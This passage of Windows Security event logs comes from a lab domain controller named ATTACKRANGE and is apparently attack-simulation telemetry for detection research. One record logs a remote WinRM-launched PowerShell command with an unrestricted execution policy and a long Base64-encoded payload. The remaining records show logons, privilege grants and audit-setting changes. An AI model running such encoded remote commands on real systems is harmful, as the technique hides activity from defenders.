been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144270 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc60 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf18 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247519 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144586 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247518 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144586 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247517 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247516 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247515 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144270 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb54 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf18 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247514 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144270 - -Process Information: - New Process ID: 0xf18 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247513 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144270 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247512 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144270 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247511 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247510 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247535 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x146A30 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247534 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x146A30 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247533 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247532 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247536 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e8 - New Process Name: C:\Windows\Temp\B856F8AE-9194-4171-AB1D-007AD90A6C37\DismHost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xd24 - Creator Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Process Command Line: C:\Windows\TEMP\B856F8AE-9194-4171-AB1D-007AD90A6C37\dismhost.exe {4D5FF57B-0BA3-4225-8FAB-B9F21E365A31} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247720 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch55.ldf - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247719 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch54.ldf - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247718 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch53.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247717 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch52.ldf - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247716 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch51.ldf - Handle ID: 0xdd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247715 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch50.ldf - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247714 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch49.ldf - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247713 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch48.ldf - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247712 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch47.ldf - Handle ID: 0x554 - 